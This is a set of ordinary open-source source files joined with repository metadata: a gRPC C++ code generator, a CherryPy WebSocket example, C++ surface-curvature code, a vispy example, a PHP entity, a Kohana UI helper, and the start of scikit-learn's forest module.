(*vars)["Method"] = method->name(); (*vars)["Request"] = grpc_cpp_generator::ClassName(method->input_type(), true); (*vars)["Response"] = grpc_cpp_generator::ClassName(method->output_type(), true); if (NoStreaming(method)) { printer->Print(*vars, "void $Service$::AsyncService::Request$Method$(" "::grpc::ServerContext* context, " "$Request$* request, " "::grpc::ServerAsyncResponseWriter< $Response$>* response, " "::grpc::CompletionQueue* cq, void* tag) {\n"); printer->Print( *vars, " AsynchronousService::RequestAsyncUnary($Idx$, context, request, response, cq, tag);\n"); printer->Print("}\n\n"); } else if (ClientOnlyStreaming(method)) { printer->Print(*vars, "void $Service$::AsyncService::Request$Method$(" "::grpc::ServerContext* context, " "::grpc::ServerAsyncReader< $Response$, $Request$>* reader, " "::grpc::CompletionQueue* cq, void* tag) {\n"); printer->Print( *vars, " AsynchronousService::RequestClientStreaming($Idx$, context, reader, cq, tag);\n"); printer->Print("}\n\n"); } else if (ServerOnlyStreaming(method)) { printer->Print(*vars, "void $Service$::AsyncService::Request$Method$(" "::grpc::ServerContext* context, " "$Request$* request, " "::grpc::ServerAsyncWriter< $Response$>* writer, " "::grpc::CompletionQueue* cq, void* tag) {\n"); printer->Print( *vars, " AsynchronousService::RequestServerStreaming($Idx$, context, request, writer, cq, tag);\n"); printer->Print("}\n\n"); } else if (BidiStreaming(method)) { printer->Print( *vars, "void $Service$::AsyncService::Request$Method$(" "::grpc::ServerContext* context, " "::grpc::ServerAsyncReaderWriter< $Response$, $Request$>* stream, " "::grpc::CompletionQueue* cq, void *tag) {\n"); printer->Print( *vars, " AsynchronousService::RequestBidiStreaming($Idx$, context, stream, cq, tag);\n"); printer->Print("}\n\n"); } } void PrintSourceService(google::protobuf::io::Printer *printer, const google::protobuf::ServiceDescriptor *service, std::map<std::string, std::string> *vars) { (*vars)["Service"] = service->name(); printer->Print(*vars, "static const char* $Service$_method_names[] = {\n"); for (int i = 0; i < service->method_count(); ++i) { (*vars)["Method"] = service->method(i)->name(); printer->Print(*vars, " \"/$Package$$Service$/$Method$\",\n"); } printer->Print(*vars, "};\n\n"); printer->Print( *vars, "std::unique_ptr< $Service$::Stub> $Service$::NewStub(" "const std::shared_ptr< ::grpc::ChannelInterface>& channel) {\n" " std::unique_ptr< $Service$::Stub> stub(new $Service$::Stub());\n" " stub->set_channel(channel);\n" " return stub;\n" "}\n\n"); for (int i = 0; i < service->method_count(); ++i) { (*vars)["Idx"] = as_string(i); PrintSourceClientMethod(printer, service->method(i), vars); } (*vars)["MethodCount"] = as_string(service->method_count()); printer->Print( *vars, "$Service$::AsyncService::AsyncService(::grpc::CompletionQueue* cq) : " "::grpc::AsynchronousService(cq, $Service$_method_names, $MethodCount$) " "{}\n\n"); printer->Print(*vars, "$Service$::Service::~Service() {\n" " delete service_;\n" "}\n\n"); for (int i = 0; i < service->method_count(); ++i) { (*vars)["Idx"] = as_string(i); PrintSourceServerMethod(printer, service->method(i), vars); PrintSourceServerAsyncMethod(printer, service->method(i), vars); } printer->Print(*vars, "::grpc::RpcService* $Service$::Service::service() {\n"); printer->Indent(); printer->Print( "if (service_ != nullptr) {\n" " return service_;\n" "}\n"); printer->Print("service_ = new ::grpc::RpcService();\n"); for (int i = 0; i < service->method_count(); ++i) { const google::protobuf::MethodDescriptor *method = service->method(i); (*vars)["Idx"] = as_string(i); (*vars)["Method"] = method->name(); (*vars)["Request"] = grpc_cpp_generator::ClassName(method->input_type(), true); (*vars)["Response"] = grpc_cpp_generator::ClassName(method->output_type(), true); if (NoStreaming(method)) { printer->Print( *vars, "service_->AddMethod(new ::grpc::RpcServiceMethod(\n" " $Service$_method_names[$Idx$],\n" " ::grpc::RpcMethod::NORMAL_RPC,\n" " new ::grpc::RpcMethodHandler< $Service$::Service, $Request$, " "$Response$>(\n" " std::function< ::grpc::Status($Service$::Service*, " "::grpc::ServerContext*, const $Request$*, $Response$*)>(" "&$Service$::Service::$Method$), this),\n" " new $Request$, new $Response$));\n"); } else if (ClientOnlyStreaming(method)) { printer->Print( *vars, "service_->AddMethod(new ::grpc::RpcServiceMethod(\n" " $Service$_method_names[$Idx$],\n" " ::grpc::RpcMethod::CLIENT_STREAMING,\n" " new ::grpc::ClientStreamingHandler< " "$Service$::Service, $Request$, $Response$>(\n" " std::function< ::grpc::Status($Service$::Service*, " "::grpc::ServerContext*, " "::grpc::ServerReader< $Request$>*, $Response$*)>(" "&$Service$::Service::$Method$), this),\n" " new $Request$, new $Response$));\n"); } else if (ServerOnlyStreaming(method)) { printer->Print( *vars, "service_->AddMethod(new ::grpc::RpcServiceMethod(\n" " $Service$_method_names[$Idx$],\n" " ::grpc::RpcMethod::SERVER_STREAMING,\n" " new ::grpc::ServerStreamingHandler< " "$Service$::Service, $Request$, $Response$>(\n" " std::function< ::grpc::Status($Service$::Service*, " "::grpc::ServerContext*, " "const $Request$*, ::grpc::ServerWriter< $Response$>*)>(" "&$Service$::Service::$Method$), this),\n" " new $Request$, new $Response$));\n"); } else if (BidiStreaming(method)) { printer->Print( *vars, "service_->AddMethod(new ::grpc::RpcServiceMethod(\n" " $Service$_method_names[$Idx$],\n" " ::grpc::RpcMethod::BIDI_STREAMING,\n" " new ::grpc::BidiStreamingHandler< " "$Service$::Service, $Request$, $Response$>(\n" " std::function< ::grpc::Status($Service$::Service*, " "::grpc::ServerContext*, " "::grpc::ServerReaderWriter< $Response$, $Request$>*)>(" "&$Service$::Service::$Method$), this),\n" " new $Request$, new $Response$));\n"); } } printer->Print("return service_;\n"); printer->Outdent(); printer->Print("}\n\n"); } std::string GetSourceServices(const google::protobuf::FileDescriptor *file) { std::string output; google::protobuf::io::StringOutputStream output_stream(&output); google::protobuf::io::Printer printer(&output_stream, '$'); std::map<std::string, std::string> vars; // Package string is empty or ends with a dot. It is used to fully qualify // method names. vars["Package"] = file->package(); if (!file->package().empty()) { vars["Package"].append("."); } for (int i = 0; i < file->service_count(); ++i) { PrintSourceService(&printer, file->service(i), &vars); printer.Print("\n"); } return output; } } // namespace grpc_cpp_generator
chenbaihu/grpc
src/compiler/cpp_generator.cc
C++
bsd-3-clause
30,007
# -*- coding: utf-8 -*- import os.path import cherrypy from ws4py.server.cherrypyserver import WebSocketPlugin, WebSocketTool from ws4py.server.handler.threadedhandler import WebSocketHandler, EchoWebSocketHandler class BroadcastWebSocketHandler(WebSocketHandler): def received_message(self, m): cherrypy.engine.publish('websocket-broadcast', str(m)) class Root(object): @cherrypy.expose def index(self): return """<!DOCTYPE html> <html lang="en"> <head> <meta charset="utf-8" /> <title>WebSocket example displaying Android device sensors</title> <link rel="stylesheet" href="/css/style.css" type="text/css" /> <script type="application/javascript" src="/js/jquery-1.6.2.min.js"> </script> <script type="application/javascript" src="/js/jcanvas.min.js"> </script> <script type="application/javascript" src="/js/droidsensor.js"> </script> <script type="application/javascript"> $(document).ready(function() { initWebSocket(); drawAll(); }); </script> </head> <body> <section id="content" class="body"> <canvas id="canvas" width="900" height="620"></canvas> </section> </body> </html> """ @cherrypy.expose def ws(self): cherrypy.log("Handler created: %s" % repr(cherrypy.request.ws_handler)) if __name__ == '__main__': cherrypy.config.update({ 'server.socket_host': '0.0.0.0', 'server.socket_port': 9000, 'tools.staticdir.root': os.path.abspath(os.path.join(os.path.dirname(__file__), 'static')) } ) print os.path.abspath(os.path.join(__file__, 'static')) WebSocketPlugin(cherrypy.engine).subscribe() cherrypy.tools.websocket = WebSocketTool() cherrypy.quickstart(Root(), '', config={ '/js': { 'tools.staticdir.on': True, 'tools.staticdir.dir': 'js' }, '/css': { 'tools.staticdir.on': True, 'tools.staticdir.dir': 'css' }, '/images': { 'tools.staticdir.on': True, 'tools.staticdir.dir': 'images' }, '/ws': { 'tools.websocket.on': True, 'tools.websocket.handler_cls': BroadcastWebSocketHandler } } )
progrium/WebSocket-for-Python
example/droid_sensor_cherrypy_server.py
Python
bsd-3-clause
2,324
// File: curvature.cc // Abstract: determine curvature of surface points on binary volume // // ref. Tracing Surfaces for Surfacing Traces // Sander & Zucker // // ref. Surface Parameterization and Curvature Measurement // of Arbitrary 3-D Objects: Five Pratical Methods // Stokely and Wu, PAMI vol. 14, 1992 // // Created: 02/24/98 by: Chris L. Wyatt // Modified: 10/09/2001 by: Hong Li // // #include "curvature.hh" #include <fstream> #include <cstdio> #ifndef NDEBUG #define NDEBUG #endif #include "constant.h" //Before using the function, check the normal vector validity int curvature(Vertex_with_Features & vert, std::slist<Vertex_with_Features *> nblist, double &cond, int DB, Volume_ext<unsigned short> & volume_ext, float &g, float & m) { std::slist<Vertex_with_Features *>::iterator nbiter; int i; double Ay, Az, dx, dy, dz; double sum11, sum12, sum13, sum22, sum23, sum33; double a, b, c; mvVec3f ip; mvVec3f neighbors[MAX_NEIGHBORS]; double **ATA, **ATAInv; int numn = 0; mvVec3f norm = vert.getNormDir(); Az = gzangle(norm); norm = (norm.zRotate(-Az)); Ay = gyangle(norm); norm = (norm.yRotate(-Ay)); nbiter = nblist.begin(); while(nbiter != nblist.end()) { ip.x = -vert.getPX()+ (*nbiter)->getPX(); ip.y = -vert.getPY()+ (*nbiter)->getPY(); ip.z = -vert.getPZ()+ (*nbiter)->getPZ(); ip = (ip.zRotate(-Az)); ip = (ip.yRotate(-Ay)); neighbors[numn++] = ip; nbiter++; } ATA = matrix<double>(1, 3, 1, 3); ATAInv = matrix<double>(1, 3, 1, 3); sum11 = 0; sum12 = 0; sum13 = 0; sum22 = 0; sum23 = 0; sum33 = 0; for (i=0; i<numn; i++){ dx = (double)neighbors[i].x; dy = (double)neighbors[i].y; sum11 += dx*dx*dx*dx; sum12 += dx*dx*2*dx*dy; sum13 += dx*dx*dy*dy; sum22 += 2*dx*dy*2*dx*dy; sum23 += 2*dx*dy*dy*dy; sum33 += dy*dy*dy*dy; } ATA[1][1] = sum11; ATA[1][2] = sum12; ATA[1][3] = sum13; ATA[2][1] = sum12; ATA[2][2] = sum22; ATA[2][3] = sum23; ATA[3][1] = sum13; ATA[3][2] = sum23; ATA[3][3] = sum33; invertMatrixSVD(ATA, ATAInv, 3, cond); sum11 = sum12 = sum13 = 0; for (i=0; i<numn; i++){ dx = (double)neighbors[i].x; dy = (double)neighbors[i].y; dz = (double)neighbors[i].z; sum11 += dx*dx*dz; sum12 += 2*dx*dy*dz; sum13 += dy*dy*dz; } a = ATAInv[1][1]*sum11 + ATAInv[1][2]*sum12 + ATAInv[1][3]*sum13; b = ATAInv[2][1]*sum11 + ATAInv[2][2]*sum12 + ATAInv[2][3]*sum13; c = ATAInv[3][1]*sum11 + ATAInv[3][2]*sum12 + ATAInv[3][3]*sum13; #ifdef NDEBUG if (DB ==1) { ofstream outfile, outfile1, outfile2,outfile3, outfile4; char sout[80]; outfile1.open ("mesh1.off", ofstream::out | ofstream::app); cout<<numn<<endl; for (i=0; i<numn; i++){ sprintf(sout, "%f %f %f ",neighbors[i].x, neighbors[i].y,neighbors[i].z); outfile1<<sout<<endl; } cout << " a = "<< a <<" b = "<< b << " c = "<< c <<endl; float dy = 0.25; //mm float dz = 0.25; //mm outfile2.open ("mesh2.mesh"); //transforemed mesh outfile2 <<"CMESH" <<endl; outfile2 <<"200 200" <<endl; outfile3.open ("mesh3.mesh"); //untransformed mesh outfile3 <<"CMESH" <<endl; outfile3 <<"200 200" <<endl; float x,y,z,v; // float xorig, yorig, zorig, xs,ys,zs; // volume_ext.getOrigin(xorig,yorig,zorig); // volume_ext.getVoxelSpacing(xs,ys,zs); // cout << "xo= "<<xorig<<" yo= "<<yorig<<" zo= "<<zorig<< // "dx = "<<xs<<" dy= "<<ys<<" dz = "<<zs<<endl; // xorig = yorig=xorig = 0; //for start in voxel mvVec3f temp; for (i = -100; i< 100; i++) { for (int j=-100;j<100;j++) { outfile2<< "0 "<< j*dy << " " <<i*dz<<" 1 0 0 1 "; temp = mvVec3f(0, j*dy, i*dz); temp = temp.yRotate(Ay); temp = temp.zRotate(Az); x = vert.getPX()+temp.x; y = vert.getPY()+temp.y; z = vert.getPZ()+temp.z; v = volume_ext.getValue(x,y,z); //cout <<"v = "<<v<<endl; if (v>=1500) v = 1; else v = v/1500; outfile3<< x << " "<<y << " " <<z<<" "<<v<<" "<<v<<" "<<v<<" 1 "; } outfile2<<endl; outfile3<<endl; } temp = temp.crossProduct( vert.getNormDir()); mvVec3f parallel = (vert.getNormDir()).crossProduct(temp); parallel.normalize(); outfile4.open ("stop.vect"); //untransformed mesh outfile4 <<"VECT" <<endl; outfile4 <<"1 2 1"<<endl; outfile4 <<"2"<<endl; outfile4 <<"1"<<endl; x = vert.getPX(); y = vert.getPY(); z = vert.getPZ(); mvVec3f curv = mvVec3f(x,y,z); temp = vert.getNormDir(); curv = curv + temp * vert.getThickness(); /*float tempv = volume_ext.getValue(curv.x,curv.y,curv.z); int turn = 0; for (i = 0; i < 100; i++) { curv += temp * 0.25; v = volume_ext.getValue(curv.x,curv.y,curv.z); if ( v - 1024 > 60) { cout << v <<" Larger than 60 at "<< i*0.25 <<" mm" <<endl; break; } if ( turn ==1 && v-1024 < -425) { cout << v <<" Lower than -425 at "<< i*0.25 <<" mm"<<endl; break; } if ( turn == 1 && v > tempv) { cout << "turning at "<< i*0.25 <<" mm" <<endl; break; } if ( v < tempv) turn = 1; tempv = v; }*/ mvVec3f from = curv - parallel * 2; mvVec3f to = curv + parallel * 2; outfile4 <<from.x <<" "<<from.y<<" "<<from.z<<" "<< to.x<<" "<<to.y<<" "<<to.z<<endl; outfile4 <<"1 1 0 1"<<endl; outfile1.close(); outfile2.close(); outfile3.close(); outfile4.close(); } #endif free_matrix(ATA, 1, 3, 1, 3); free_matrix(ATAInv, 1, 3, 1, 3); g= 4*(a*c - b*b); m= a + c; } //Before using the function, check the normal vector validity int curvature(Vertex_with_Features & vert, std::slist<Vertex_with_Features *> nblist, float &g, float & m) { std::slist<Vertex_with_Features *>::iterator nbiter; int i; double Ay, Az, dx, dy, dz; double sum11, sum12, sum13, sum22, sum23, sum33; double a, b, c; mvVec3f ip; mvVec3f neighbors[MAX_NEIGHBORS]; double **ATA, **ATAInv; double cond; int numn = 0; mvVec3f norm = vert.getNormDir(); Az = gzangle(norm); norm = (norm.zRotate(-Az)); Ay = gyangle(norm); norm = (norm.yRotate(-Ay)); nbiter = nblist.begin(); while(nbiter != nblist.end()) { ip.x = -vert.getPX()+ (*nbiter)->getPX(); ip.y = -vert.getPY()+ (*nbiter)->getPY(); ip.z = -vert.getPZ()+ (*nbiter)->getPZ(); ip = (ip.zRotate(-Az)); ip = (ip.yRotate(-Ay)); neighbors[numn++] = ip; nbiter++; } ATA = matrix<double>(1, 3, 1, 3); ATAInv = matrix<double>(1, 3, 1, 3); sum11 = 0; sum12 = 0; sum13 = 0; sum22 = 0; sum23 = 0; sum33 = 0; for (i=0; i<numn; i++){ dx = (double)neighbors[i].x; dy = (double)neighbors[i].y; sum11 += dx*dx*dx*dx; sum12 += dx*dx*2*dx*dy; sum13 += dx*dx*dy*dy; sum22 += 2*dx*dy*2*dx*dy; sum23 += 2*dx*dy*dy*dy; sum33 += dy*dy*dy*dy; } ATA[1][1] = sum11; ATA[1][2] = sum12; ATA[1][3] = sum13; ATA[2][1] = sum12; ATA[2][2] = sum22; ATA[2][3] = sum23; ATA[3][1] = sum13; ATA[3][2] = sum23; ATA[3][3] = sum33; invertMatrixSVD(ATA, ATAInv, 3, cond); sum11 = sum12 = sum13 = 0; for (i=0; i<numn; i++){ dx = (double)neighbors[i].x; dy = (double)neighbors[i].y; dz = (double)neighbors[i].z; sum11 += dx*dx*dz; sum12 += 2*dx*dy*dz; sum13 += dy*dy*dz; } a = ATAInv[1][1]*sum11 + ATAInv[1][2]*sum12 + ATAInv[1][3]*sum13; b = ATAInv[2][1]*sum11 + ATAInv[2][2]*sum12 + ATAInv[2][3]*sum13; c = ATAInv[3][1]*sum11 + ATAInv[3][2]*sum12 + ATAInv[3][3]*sum13; free_matrix(ATA, 1, 3, 1, 3); free_matrix(ATAInv, 1, 3, 1, 3); g= 4*(a*c - b*b); m= a + c; } //Before using the function, check the normal vector validity //This form of curvature is calculated based on vertex list, a given center, and // a given normal diection, and the output is gaussian, mean, and two principle //curvatures // int curvature(Vertex_with_Features & vert, std::slist<Vertex_with_Features *> nblist, mvVec3f norm, float &g, float & m, float & maxPrinciple, float & minPrinciple, double & a, double & b, double & c, double & Ay, double & Az, double * trans) { std::slist<Vertex_with_Features *>::iterator nbiter; int i; double dx, dy, dz; double sum11, sum12, sum13, sum22, sum23, sum33; mvVec3f ip; mvVec3f neighbors[MAX_NEIGHBORS]; double **ATA, **ATAInv; double cond; int numn = 0; double R1[4][4]; double R2[4][4]; double T[4][4], Temp[4][4]; Az = gzangle(norm); norm = (norm.zRotate(-Az)); Ay = gyangle(norm); norm = (norm.yRotate(-Ay)); if( trans !=NULL) { /* Tansform Matrix is defined as T*X = X'; T = R(2) * R(1) * Tanslation; */ /* R(1) rotate about y [ cos(Ay) 0 sin(Ay) 0 0 1 0 0 -sin(Ay) 0 cos(Ay) 0 0 0 0 1] */ R1[0][0] = cos(-Ay), R1[0][1]=0, R1[0][2] = sin(-Ay), R1[0][3] = 0; R1[1][0] = 0, R1[1][1]=1, R1[1][2] = 0, R1[1][3] = 0; R1[2][0] = -sin(-Ay), R1[2][1]=0, R1[2][2] = cos(-Ay), R1[2][3] = 0; R1[3][0] = 0, R1[3][1]=0, R1[3][2] = 0, R1[3][3] = 1; /* R(2) rotate about [ cos(Az) -sin(Az) 0 0 sin(Az) cos(Az) 0 0 0 0 1 0 0 0 0 1] */ R2[0][0] = cos(-Az), R2[0][1]=-sin(-Az), R2[0][2] = 0, R2[0][3] = 0; R2[1][0] = sin(-Az), R2[1][1]=cos(-Az), R2[1][2] = 0, R2[1][3] = 0; R2[2][0] = 0, R2[2][1]=0, R2[2][2] = 1, R2[2][3] = 0; R2[3][0] = 0, R2[3][1]=0, R2[3][2] = 0, R2[3][3] = 1; /* Translation [ 1 0 0 xs 0 1 0 ys 0 0 1 zs 0 0 0 1] */ T[0][0] = 1, T[0][1]=0, T[0][2] = 0, T[0][3] = -vert.getPX(); T[1][0] = 0, T[1][1]=1, T[1][2] = 0, T[1][3] = -vert.getPY(); T[2][0] = 0, T[2][1]=0, T[2][2] = 1, T[2][3] = -vert.getPZ(); T[3][0] = 0, T[3][1]=0, T[3][2] = 0, T[3][3] = 1; /* calculate Tranform matrix */ for (int i =0; i < 4 ; i++) { for (int j = 0; j < 4; j++) { Temp[i][j] = 0; for (int k = 0; k < 4; k++) Temp[i][j] += R1[i][k]*R2[k][j] ; } } double * result; result = trans; for (int i =0; i < 4 ; i++) { for (int j = 0; j < 4; j++) { *result = 0; for (int k = 0; k < 4; k++) * result += Temp[i][k]*T[k][j] ; result ++; } } } nbiter = nblist.begin(); while(nbiter != nblist.end()) { ip.x = -vert.getPX()+ (*nbiter)->getPX(); ip.y = -vert.getPY()+ (*nbiter)->getPY(); ip.z = -vert.getPZ()+ (*nbiter)->getPZ(); ip = (ip.zRotate(-Az)); ip = (ip.yRotate(-Ay)); neighbors[numn++] = ip; nbiter++; } ATA = matrix<double>(1, 3, 1, 3); ATAInv = matrix<double>(1, 3, 1, 3); sum11 = 0; sum12 = 0; sum13 = 0; sum22 = 0; sum23 = 0; sum33 = 0; for (i=0; i<numn; i++){ dx = (double)neighbors[i].x; dy = (double)neighbors[i].y; sum11 += dx*dx*dx*dx; sum12 += dx*dx*2*dx*dy; sum13 += dx*dx*dy*dy; sum22 += 2*dx*dy*2*dx*dy; sum23 += 2*dx*dy*dy*dy; sum33 += dy*dy*dy*dy; } ATA[1][1] = sum11; ATA[1][2] = sum12; ATA[1][3] = sum13; ATA[2][1] = sum12; ATA[2][2] = sum22; ATA[2][3] = sum23; ATA[3][1] = sum13; ATA[3][2] = sum23; ATA[3][3] = sum33; invertMatrixSVD(ATA, ATAInv, 3, cond); sum11 = sum12 = sum13 = 0; for (i=0; i<numn; i++){ dx = (double)neighbors[i].x; dy = (double)neighbors[i].y; dz = (double)neighbors[i].z; sum11 += dx*dx*dz; sum12 += 2*dx*dy*dz; sum13 += dy*dy*dz; } a = ATAInv[1][1]*sum11 + ATAInv[1][2]*sum12 + ATAInv[1][3]*sum13; b = ATAInv[2][1]*sum11 + ATAInv[2][2]*sum12 + ATAInv[2][3]*sum13; c = ATAInv[3][1]*sum11 + ATAInv[3][2]*sum12 + ATAInv[3][3]*sum13; free_matrix(ATA, 1, 3, 1, 3); free_matrix(ATAInv, 1, 3, 1, 3); g= 4*(a*c - b*b); m= a + c; float k1 = m+sqrt(m*m-g); float k2 = m-sqrt(m*m-g); maxPrinciple = max(k1,k2); minPrinciple = min(k1,k2); } double gxangle(mvVec3f p) { double Ax; Ax = atan2(p.z, p.y); return Ax; } double gyangle(mvVec3f p) { double Ay; Ay = atan2(p.x, p.z); return Ay; } double gzangle(mvVec3f p) { double Az; Az = atan2(p.y, p.x); return Az; }
clwyatt/CTC
Reference/HongLi/src/capd/curvature.cc
C++
bsd-3-clause
12,147
# -*- coding: utf-8 -*- # ----------------------------------------------------------------------------- # Copyright (c) Vispy Development Team. All Rights Reserved. # Distributed under the (new) BSD License. See LICENSE.txt for more info. # ----------------------------------------------------------------------------- """ This example demonstrates isocurve for triangular mesh with vertex data. """ import numpy as np from vispy import app, scene from vispy.geometry.generation import create_sphere import sys # Create a canvas with a 3D viewport canvas = scene.SceneCanvas(keys='interactive', title='Isocurve for Triangular Mesh Example') canvas.show() view = canvas.central_widget.add_view() cols = 10 rows = 10 radius = 2 nbr_level = 20 mesh = create_sphere(cols, rows, radius=radius) vertices = mesh.get_vertices() tris = mesh.get_faces() cl = np.linspace(-radius, radius, nbr_level+2)[1:-1] scene.visuals.Isoline(vertices=vertices, tris=tris, data=vertices[:, 2], levels=cl, color_lev='winter', parent=view.scene) # Add a 3D axis to keep us oriented scene.visuals.XYZAxis(parent=view.scene) view.camera = scene.TurntableCamera() view.camera.set_range((-1, 1), (-1, 1), (-1, 1)) if __name__ == '__main__' and sys.flags.interactive == 0: app.run()
Eric89GXL/vispy
examples/basics/scene/isocurve_for_trisurface.py
Python
bsd-3-clause
1,317
<?php namespace EmailMarketing\Domain\Entity; use Doctrine\Common\Collections\ArrayCollection; use Doctrine\Common\Collections\Collection; class Contato { private $id; private $nome; private $email; private $tags; public function __construct() { $this->tags = new ArrayCollection(); } public function getTags(): Collection { return $this->tags; } public function addTags(\Doctrine\Common\Collections\Collection $tags) { foreach ($tags as $tag) { $tag->getContatos()->add($this); $this->tags->add($tag); } return $this; } public function removeTags(\Doctrine\Common\Collections\Collection $tags) { foreach ($tags as $tag) { $tag->getContatos()->removeEelement($this); $this->tags->removeElement($tag); } return $this; } public function getId() { return $this->id; } public function getNome() { return $this->nome; } public function getEmail() { return $this->email; } public function setId(int $id) { $this->id = $id; return $this; } public function setNome(string $nome) { $this->nome = $nome; return $this; } public function setEmail(string $email) { $this->email = $email; return $this; } }
adaoex/email-marketing
src/EmailMarketing/Domain/Entity/Contato.php
PHP
bsd-3-clause
1,436
<?php defined('SYSPATH') or die('No direct script access.'); abstract class Kohana_UI { /** * Return assets from Masher config. Utilize 3.0 helpers (http://kohanaframework.org/3.0/guide/api/HTML) * * // Call position or type specific assets * UI::masher('footer', 'js', $page); * * @author Michael Dyer * @param string string : location, type, page * @return Kohana_Ui * @throws None */ public static function masher($location, $type, $page) { $assets = array( 'header' => array( 'css' => array(), 'js' => array(), 'str' => '', ), 'footer' => array( 'css' => array(), 'js' => array(), 'str' => '', ), ); $masher = Kohana::$config->load('masher'); array_push($assets[$location][$type], $masher[$page][$type]); foreach ($assets[$location][$type][0] as $key => $asset) { $assets[$location]['str'] .= ($type == 'css') ? HTML::style($asset) : HTML::script($asset); } return $assets[$location]['str']; } /** * Return CDN paths for anchor medium * * // Link will return a full URI protocol mapped to defaults.config * UI::link($base, $content, $attributes); * * @author Michael Dyer * @param string string array : base, content, attributes * @return Kohana_Ui * @throws None */ public static function link($base, $content, $attributes) { if(!isset($attributes)) exit; $defaults = Kohana::$config->load('defaults'); if(isset($base)) { $attributes['href'] = $defaults['paths'][$base].$attributes['href']; } return '<a'.HTML::attributes($attributes).'>'.$content.'</a>'; } /** * Return dynamic text wrapper * * // Text will wrap content in $type tags * UI::text($content, $type, $attributes); * * @author Michael Dyer * @param string string array : content, null, null * @return Kohana_Ui * @throws None */ public static function text($content, $type = null, $attributes = null) { if(!isset($type)) $type = 'span'; return '<'.$type.HTML::attributes($attributes).'>'.$content.'</'.$type.'>'; } /** * Return CDN paths for image medium * * // Link will return a full URI protocol mapped to defaults.config * UI::image($base, $content, $attributes); * * @author Michael Dyer * @param string string array : base, content, attributes * @return Kohana_Ui * @throws None */ public static function img($uri, $base = null, $attributes = null) { if(!isset($uri)) exit; $defaults = Kohana::$config->load('defaults'); if(!isset($base)){ $base = 'cdn'; } $uri = $defaults['paths'][$base].$uri; return HTML::image($uri, $attributes); } } // END KOHANA UI
listenrightmeow/KOHANA-UI
modules/ui/classes/kohana/ui.php
PHP
bsd-3-clause
2,622
""" Forest of trees-based ensemble methods. Those methods include random forests and extremely randomized trees. The module structure is the following: - The ``BaseForest`` base class implements a common ``fit`` method for all the estimators in the module. The ``fit`` method of the base ``Forest`` class calls the ``fit`` method of each sub-estimator on random samples (with replacement, a.k.a. bootstrap) of the training set. The init of the sub-estimator is further delegated to the ``BaseEnsemble`` constructor. - The ``ForestClassifier`` and ``ForestRegressor`` base classes further implement the prediction logic by computing an average of the predicted outcomes of the sub-estimators. - The ``RandomForestClassifier`` and ``RandomForestRegressor`` derived classes provide the user with concrete implementations of the forest ensemble method using classical, deterministic ``DecisionTreeClassifier`` and ``DecisionTreeRegressor`` as sub-estimator implementations. - The ``ExtraTreesClassifier`` and ``ExtraTreesRegressor`` derived classes provide the user with concrete implementations of the forest ensemble method using the extremely randomized trees ``ExtraTreeClassifier`` and ``ExtraTreeRegressor`` as sub-estimator implementations. Single and multi-output problems are both handled. """ # Authors: Gilles Louppe <g.louppe@gmail.com> # Brian Holt <bdholt1@gmail.com> # Joly Arnaud <arnaud.v.joly@gmail.com> # Fares Hedayati <fares.hedayati@gmail.com> # # License: BSD 3 clause import numbers from warnings import catch_warnings, simplefilter, warn import threading from abc import ABCMeta, abstractmethod import numpy as np from scipy.sparse import issparse from scipy.sparse import hstack as sparse_hstack from joblib import Parallel from ..base import is_classifier from ..base import ClassifierMixin, RegressorMixin, MultiOutputMixin from ..metrics import accuracy_score, r2_score from ..preprocessing import OneHotEncoder from ..tree import (DecisionTreeClassifier, DecisionTreeRegressor, ExtraTreeClassifier, ExtraTreeRegressor) from ..tree._tree import DTYPE, DOUBLE from ..utils import check_random_state, compute_sample_weight, deprecated from ..exceptions import DataConversionWarning from ._base import BaseEnsemble, _partition_estimators from ..utils.fixes import delayed from ..utils.fixes import _joblib_parallel_args from ..utils.multiclass import check_classification_targets, type_of_target from ..utils.validation import check_is_fitted, _check_sample_weight __all__ = ["RandomForestClassifier", "RandomForestRegressor", "ExtraTreesClassifier", "ExtraTreesRegressor", "RandomTreesEmbedding"] MAX_INT = np.iinfo(np.int32).max def _get_n_samples_bootstrap(n_samples, max_samples): """ Get the number of samples in a bootstrap sample. Parameters ---------- n_samples : int Number of samples in the dataset. max_samples : int or float The maximum number of samples to draw from the total available: - if float, this indicates a fraction of the total and should be the interval `(0.0, 1.0]`; - if int, this indicates the exact number of samples; - if None, this indicates the total number of samples. Returns ------- n_samples_bootstrap : int The total number of samples to draw for the bootstrap sample. """ if max_samples is None: return n_samples if isinstance(max_samples, numbers.Integral): if not (1 <= max_samples <= n_samples): msg = "`max_samples` must be in range 1 to {} but got value {}" raise ValueError(msg.format(n_samples, max_samples)) return max_samples if isinstance(max_samples, numbers.Real): if not (0 < max_samples <= 1): msg = "`max_samples` must be in range (0.0, 1.0] but got value {}" raise ValueError(msg.format(max_samples)) return round(n_samples * max_samples) msg = "`max_samples` should be int or float, but got type '{}'" raise TypeError(msg.format(type(max_samples))) def _generate_sample_indices(random_state, n_samples, n_samples_bootstrap): """ Private function used to _parallel_build_trees function.""" random_instance = check_random_state(random_state) sample_indices = random_instance.randint(0, n_samples, n_samples_bootstrap) return sample_indices def _generate_unsampled_indices(random_state, n_samples, n_samples_bootstrap): """ Private function used to forest._set_oob_score function.""" sample_indices = _generate_sample_indices(random_state, n_samples, n_samples_bootstrap) sample_counts = np.bincount(sample_indices, minlength=n_samples) unsampled_mask = sample_counts == 0 indices_range = np.arange(n_samples) unsampled_indices = indices_range[unsampled_mask] return unsampled_indices def _parallel_build_trees(tree, forest, X, y, sample_weight, tree_idx, n_trees, verbose=0, class_weight=None, n_samples_bootstrap=None): """ Private function used to fit a single tree in parallel.""" if verbose > 1: print("building tree %d of %d" % (tree_idx + 1, n_trees)) if forest.bootstrap: n_samples = X.shape[0] if sample_weight is None: curr_sample_weight = np.ones((n_samples,), dtype=np.float64) else: curr_sample_weight = sample_weight.copy() indices = _generate_sample_indices(tree.random_state, n_samples, n_samples_bootstrap) sample_counts = np.bincount(indices, minlength=n_samples) curr_sample_weight *= sample_counts if class_weight == 'subsample': with catch_warnings(): simplefilter('ignore', DeprecationWarning) curr_sample_weight *= compute_sample_weight('auto', y, indices=indices) elif class_weight == 'balanced_subsample': curr_sample_weight *= compute_sample_weight('balanced', y, indices=indices) tree.fit(X, y, sample_weight=curr_sample_weight, check_input=False) else: tree.fit(X, y, sample_weight=sample_weight, check_input=False) return tree class BaseForest(MultiOutputMixin, BaseEnsemble, metaclass=ABCMeta): """ Base class for forests of trees. Warning: This class should not be used directly. Use derived classes instead. """ @abstractmethod def __init__(self, base_estimator, n_estimators=100, *, estimator_params=tuple(), bootstrap=False, oob_score=False, n_jobs=None, random_state=None, verbose=0, 